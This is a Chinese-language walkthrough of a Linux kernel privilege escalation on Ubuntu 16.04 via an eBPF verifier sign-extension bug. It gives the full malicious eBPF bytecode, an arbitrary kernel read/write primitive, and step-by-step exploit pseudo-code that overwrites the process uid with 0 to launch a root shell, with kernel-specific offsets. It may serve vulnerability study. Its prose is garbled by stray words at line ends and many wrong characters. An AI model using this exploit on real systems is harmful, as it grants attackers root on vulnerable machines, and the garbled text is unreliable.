可對特定內核版本的ubuntu 16.04進行提權,本漏洞不包含堆棧攻擊或控制流劫持,僅用系統調用數據進行提權,是Data-Oriented Attacks在linux內核上的一個典型應用。html
v4.4.110在線閱讀源碼,鏡像和調試文件下載。linux
衆所周知,linux的用戶層和內核層是隔離的,想讓內核執行用戶的代碼,正常是須要編寫內核模塊,固然內核模塊只能root用戶才能加載。而BPF則至關因而內核給用戶開的一個綠色通道:BPF(Berkeley Packet Filter)
提供了一個用戶和內核之間代碼和數據傳輸的橋樑。用戶能夠用eBPF指令字節碼的形式向內核輸送代碼,並經過事件(如往socket寫數據)來觸發內核執行用戶提供的代碼;同時以map(key,value)
的形式來和內核共享數據,用戶層向map中寫數據,內核層從map中取數據,反之亦然。BPF設計初衷是用來在底層對網絡進行過濾,後續因爲他能夠方便的向內核注入代碼,而且還提供了一套完整的安全措施來對內核進行保護,被普遍用於抓包(tcpdump/wireshark)、內核probe、性能監控等領域。BPF發展經歷了2個階段,cBPF(classic BPF)
和eBPF(extend BPF)
(linux內核3.15之後),cBPF已退出歷史舞臺,後文提到的BPF默認爲eBPF。git
寄存器——eBPF虛擬指令系統屬於RISC(每條指令長度同樣),擁有10個虛擬寄存器,r0-r10,在實際運行時,虛擬機會把這10個寄存器一一對應於硬件CPU的10個物理寄存器,以x64爲例,對應關係以下:github
R0 – rax (函數返回值) R1 - rdi (參數) R2 - rsi (參數) R3 - rdx (參數) R4 - rcx (參數) R5 - r8 (參數) R6 - rbx R7 - r13 R8 - r14 R9 - r15 R10 – rbp(只讀,棧指針,frame pointer)
指令格式以下:ubuntu
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
和seccomp相似,程序功能由code字節決定,最低3位表示大類功能,共7類大功能:c#
#define BPF_CLASS, (code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07
各大類功能可經過異或組成不一樣的新功能。dst_reg
表明目的寄存器,限制爲0-10;src_reg
表明目的寄存器,限制爲0-10;off
表明地址偏移;imm
表明當即數。api
例如一條簡單的x86指令:mov esi,0xffffffff
,對應BPF指令爲BPF_MOV32_IMM(BPF_REG_2, 0xffffffff)
,對應數據結構爲:安全
#define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM })
在內存中的值爲:\xb4\x02\x00\x00\xff\xff\xff\xff
。bash
編碼解碼器——參見p4nda師傅寫的解碼編碼小工具,能夠用來翻譯或者輔助編寫EBPF程序。網絡
(1)syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))
—申請一個map結構,這個結構是用戶態與內核態交互的一塊共享內存,在attr
結構體中指定map的類型、大小、最大容量。
內核態調用BPF_FUNC_map_lookup_elem
查看map中的數據,用戶態經過syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))
查看map中的數據。
syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))
—對map數據進行更新,而map根據linux特性,會將其視爲一個文件,並分配一個文件描述符。
(2)syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))
—將用戶編寫的EBPF代碼加載進入內核,採用模擬執行對代碼進行合法性檢查,attr
結構體中包含了指令數量、指令首地址指針、日誌級別等屬性。
合法性檢查包括對指定語法的檢查、指令數量的檢查、指令中的指針和當即數的範圍及讀寫權限檢查,禁止將內核中的地址暴露給用戶空間,禁止對BPF程序stack以外的內核地址讀寫。安全校驗經過後,程序被成功加載至內核,後續真正執行時,再也不重複作檢查。
(3)setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)
—將咱們寫的BPF程序綁定到指定的socket上,progfd
爲上一步驟的返回值。
(4)用戶程序經過操做上一步驟中的socket來觸發BPF真正執行。此後對於每個socket數據包執行EBPF代碼進行檢查,此時爲真實執行。
例如:
static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); if (mapfd < 0) __exit(strerror(errno)); puts("mapfd finished"); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);//__prog代碼 if (progfd < 0) __exit(strerror(errno)); puts("bpf_prog_load finished"); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) __exit(strerror(errno)); puts("socketpair finished"); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) __exit(strerror(errno)); puts("setsockopt finished"); }
本漏洞的緣由是check函數和真正的函數的執行方法不一致致使的,主要問題是兩者寄存器值類型不一樣。先看下面一段EBPF指令:
[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF */ [1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) { */ [2]: ALU64_MOV_K(0,0,0x0,0x0) /* exit(0); */ [3]: JMP_EXIT(0,0,0x0,0x0) [4]: ...... ......
[0]—將0xffffffff賦值給r9寄存器,在do_check()
安全檢查函數中,[0]處會直接將0xffffffff賦值給r9,並將type賦值爲IMM。
[1]—比較r9==0xffffffff
,相等是就執行[2]、[3],不相等則跳到[4]。根據前文對退出的分析,這個地方在do_check()
看來是一個恆等式(肯定性跳轉),不會將另外一條路徑壓入stack,直接退出。do_check()
返回成功。
check_cond_jmp_op() do_check()
// do_check() -> 對除開 class== BPF_JMP 類型的jmp(CALL/JA/EXIT),調用 check_cond_jmp_op() /* detect if R == 0 where R was initialized to zero earlier */ if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE) && regs[insn->dst_reg].type == CONST_IMM && regs[insn->dst_reg].imm == insn->imm) { //1.比較指令 if (opcode == BPF_JEQ) { /* if (imm == imm) goto pc+off; * only follow the goto, ignore fall-through */ *insn_idx += insn->off; return 0; } else { // 2.跳轉指令恆成立,不壓棧目標指令(分支B永不執行),直接返回 /* if (imm != imm) goto pc+off; * only follow fall-through branch, since * that's where the program will go */ return 0; } } // 3.非肯定性跳轉,把目標指令壓入臨時棧備用 other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx); if (!other_branch) return -EFAULT;
//都爲有符號整數,因此此處條件跳轉條件恆成立,不會往臨時棧中push分支B指令編號。 struct reg_state { enum bpf_reg_type type; union { /* valid when type == CONST_IMM | PTR_TO_STACK */ int imm; // <-------------- 有符號整數 /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE | * PTR_TO_MAP_VALUE_OR_NULL */ struct bpf_map *map_ptr; }; }; /* BPF has 10 general purpose 64-bit registers and stack frame. */ #define MAX_BPF_REG __MAX_BPF_REG struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant *///<--------有符號整數 };
執行到EXIT指令。會從臨時棧中嘗試取指令(調用pop_stack函數),若是臨時棧中有指令,那就說明還有其餘可能執行到的分支,須要繼續校驗,若是取不到值,表示當前這條EXIT指令確實是BPF程序最後一條能夠執行到的指令,此時pop_stack會返回-1,而後break跳出do_check校驗循環,do_check執行結束,校驗經過。
// do_check() else if (opcode == BPF_EXIT) { if (BPF_SRC(insn->code) != BPF_K || insn->imm != 0 || insn->src_reg != BPF_REG_0 || insn->dst_reg != BPF_REG_0) { verbose("BPF_EXIT uses reserved fields\n"); return -EINVAL; } /* eBPF calling convetion is such that R0 is used * to return the value from eBPF program. * Make sure that it's readable at this time * of bpf_exit, which means that program wrote * something into it earlier */ err = check_reg_arg(regs, BPF_REG_0, SRC_OP); if (err) return err; if (is_pointer_value(env, BPF_REG_0)) { verbose("R0 leaks addr as return value\n"); return -EACCES; } process_bpf_exit: insn_idx = pop_stack(env, &prev_insn_idx); //彈出指令 if (insn_idx < 0) { break; // 返回-1,表示沒有指令 } else { do_print_state = true; continue; } ...... return 0;
真實執行的時候,因爲一個符號擴展的bug,致使 [1] 中的等式不成立,因而cpu就跳轉到第5條指令繼續執行,這裏是漏洞產生的根因,這4條指令,能夠繞過BPF的代碼安全檢查。既然安全檢查被繞過了,用戶就能夠隨意往內核中注入代碼了,提權就水到渠成了:先獲取到task_struct的地址,而後定位到cred的地址,而後定位到uid的地址,而後直接將uid的值改成0,而後啓動/bin/bash。
而在真實執行的過程當中,因爲寄存器類型不同,在執行[1]時存在問題:
//bpf_prog_load() -> bpf_prog_select_runtime()真實執行 -> __bpf_prog_run() 真實執行中對JMP_JNE_K指令的定義 JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT; //其中DST爲目標寄存器,IMM爲當即數。很顯然,符號兩邊數據類型不一致,致使條件跳轉語句的結果徹底相反。 //DST #define DST regs[insn->dst_reg] ///kernel/bpf/core.c#L47 static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn) { u64 stack[MAX_BPF_STACK / sizeof(u64)]; u64 regs[MAX_BPF_REG], tmp; // 是u64類型,無符號64位 //IMM #define IMM insn->imm // /kernel/bpf/core.c#L52 struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant *///<--------有符號整數 };
看彙編更明顯:
0xffffffff81173bad <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi 0xffffffff81173bb5 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx] 0xffffffff81173bb8 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8] ↓ 0xffffffff81173e7b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1] 0xffffffff81173e7f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4] ► 0xffffffff81173e83 <__bpf_prog_run+2291> and eax, 0xf 0xffffffff81173e86 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx 0xffffffff81173e8e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff8117493c> 0xffffffff81173e94 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2] 0xffffffff81173e99 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8] 0xffffffff81173e9e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx] ───────────────────────────────────[ BACKTRACE ]──────────────────────────────────── ► f 0 ffffffff81173e83 __bpf_prog_run+2291 f 1 ffffffff817272bc sk_filter_trim_cap+108 f 2 ffffffff817272bc sk_filter_trim_cap+108 f 3 ffffffff817b824a unix_dgram_sendmsg+586 f 4 ffffffff817b824a unix_dgram_sendmsg+586 f 5 ffffffff816f4728 sock_sendmsg+56 f 6 ffffffff816f4728 sock_sendmsg+56 f 7 ffffffff816f47c5 sock_write_iter+133 f 8 ffffffff8120cf59 __vfs_write+201 f 9 ffffffff8120cf59 __vfs_write+201 f 10 ffffffff8120d5d9 vfs_write+169 pwndbg> i r rdx rdx 0xffffffffffffffff -1 pwndbg> x /gx $rbx+4 0xffffc90000099034: 0x000000b7ffffffff pwndbg>
能夠看到彙編指令被翻譯成movsxd,而此時會發生符號擴展,由原來的0xffffffff擴展成0xffffffffffffffff,再次比較的時候兩者並不相同,形成了跳轉到[4]處執行,從而繞過了對[4]之後EBPF程序的校驗。
思路:[4]之後的程序不通過check,就能夠任意執行指令,可構造任意地址讀寫。也即提早構造3個map,分別放置3個值,而後讀到r6/r7/r8寄存器中(r6爲0表示任意讀,把r7指向的值讀到r8;r6爲1表示讀rbp,泄露內核棧地址;r6爲2表示任意寫,把r8寫到r7地址)。
[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF */ [1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) { */ [2]: ALU64_MOV_K(0,0,0x0,0x0) /* exit(0); */ [3]: JMP_EXIT(0,0,0x0,0x0) [4]: LD_IMM_DW(1,9,0x0,0x3) /* r9=mapfd */ [5]: maybe padding // 以存放mapfd地址 //1.BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1個元素放到r6 [6]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */ [7]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */ [8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */ [9]: ST_MEM_W(0,10,0xfffc,0x0) /* *(u32 *)(fp - 4) = 0 */ [10]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem) [11]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */ [12]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [13]: LDX_MEM_DW(0,6,0x0,0x0) /* r6 = *(u64 *)(r0) */ //2.BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2個元素放到r7 [14]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */ [15]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */ [16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */ [17]: ST_MEM_W(0,10,0xfffc,0x1) /* *(u32 *)(fp - 4) = 1 */ [18]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem) [19]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */ [20]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [21]: LDX_MEM_DW(0,7,0x0,0x0) /* r7 = *(u64 *)(r0) */ //3.#BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3個元素放到r8 [22]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */ [23]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */ [24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */ [25]: ST_MEM_W(0,10,0xfffc,0x2) /* *(u32 *)(fp - 4) = 2 */ [26]: JMP_CALL(0,0,0x0,0x1)//#BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem) [27]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */ [28]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [29]: LDX_MEM_DW(0,8,0x0,0x0) /* r8 = *(u64 *)(r0) */ [30]: ALU64_MOV_X(0,2,0x0,0x0) /* r2 = r0 */ [31]: ALU64_MOV_K(0,0,0x0,0x0) /* r0 = 0 for exit(0) */ [32]: JMP_JNE_K(0,6,0x3,0x0) /* if (r6 != 0) jmp to 36 */ [33]: LDX_MEM_DW(7,3,0x0,0x0) /* r3 = [r7] */ [34]: STX_MEM_DW(3,2,0x0,0x0) /* [r2] = r3 */ [35]: JMP_EXIT(0,0,0x0,0x0) /* exit(0) */ [36]: JMP_JNE_K(0,6,0x2,0x1) /* if (r6 != 1) jmp to 39 */ [37]: STX_MEM_DW(10,2,0x0,0x0) /* [r2]=rbp */ [38]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [39]: STX_MEM_DW(8,7,0x0,0x0) /* [r7]=r8 */ [40]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
[4]-[5]:由bpf代碼閱讀可知,獲取mapfd地址,[5]是填充;完成後map地址複製給r9。
[6]-[13]:調用BPF_FUNC_map_lookup_elem(map_add,idx),並將返回值存到r6寄存器中,即r6=map[0]。
[14]-[21]:r7=map[1]。
[22]-[29]:r8=map[2]。 map[0]/map[1]/map[2]用戶可控。
[30]-[40]:map[0]==0,將map[1]指向的值寫入map[2],任意讀;map[0]==1,將rbp值寫入map[2],泄露棧地址;map[0]==2,將map[2]寫入map[1]地址中,任意寫。
1.申請一個MAP,長度爲3; 2.這個MAP的第一個元素爲操做指令,第2個元素爲須要讀寫的內存地址,第3個元素用來存放讀取到的內容。此時這個MAP至關於一個CC,3個元素組成一個控制指令。 3.組裝一個指令,讀取內核的棧地址 addr。根據內核棧地址獲取到current的地址(addr & ~(0x4000 - 1))。 4.讀current結構體的第一個成員,得到task_struct的地址,繼而加上cred的偏移(task_struct_addr+0x5f8)獲得cred地址,最終獲取到uid的地址(cred_addr+4)。 5.組裝一個寫指令,向上一步獲取到的uid地址寫入0. 6.啓動新的bash進程,該進程的uid爲0,提權成功。
說明:我理解的current
指針實際上就是內核棧最低地址,最低地址存放thread_info結構,thread_info結構第一個成員是task_struct指針。
Exp中就是按照如上的攻擊路徑來提權的,申請完map以後,首先發送獲取內核棧地址的指令,以下:
bpf_update_elem(0, 1);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
而後經過調用writemsg觸發BPF程序運行。
//漏洞利用僞代碼: update_map_012(1,0,0); stack_addr= get_map(2); // 0xffff8800758c3c88 current_addr=stack_addr & ~(0x4000 - 1); // 0xffff8800758c0000 update_map_012(0,current_addr,0); task_addr = get_map(2); // 0xffff880074343c00 update_map_012(0,task_addr+0x5f8,0); cred_addr = get_map(2)+0x4; // 0xffff880074cb5e00+4 update_map_012(2,cred_addr,0); // 提權!
注意:
4.4.0-116-generic
中是0x5f8
;v4.4.110
中是0x9b8
。cat /proc/kallsyms
)。命令:
# gdb中查找偏移(需符號信息) pwndbg> p &(*(struct task_struct *)0).cred $2 = (const struct cred **) 0x9b8 <irq_stack_union+2488> pwndbg> p &(*(struct cred *)0).uid $3 = (kuid_t *) 0x4 <irq_stack_union+4> # gdb中確認偏移 (gdb) p ((struct task_struct *)0xffff880074343c00)->cred $16 = (const struct cred *) 0xffff880074cb5e00 (gdb) p &((struct task_struct *)0xffff880074343c00)->cred $17 = (const struct cred **) 0xffff8800743441f8 (gdb) x/10x 0xffff880074343c00+0x5f8 0xffff8800743441f8: 0x74cb5e00 0xffff8800#和0xffff880074cb5e00一致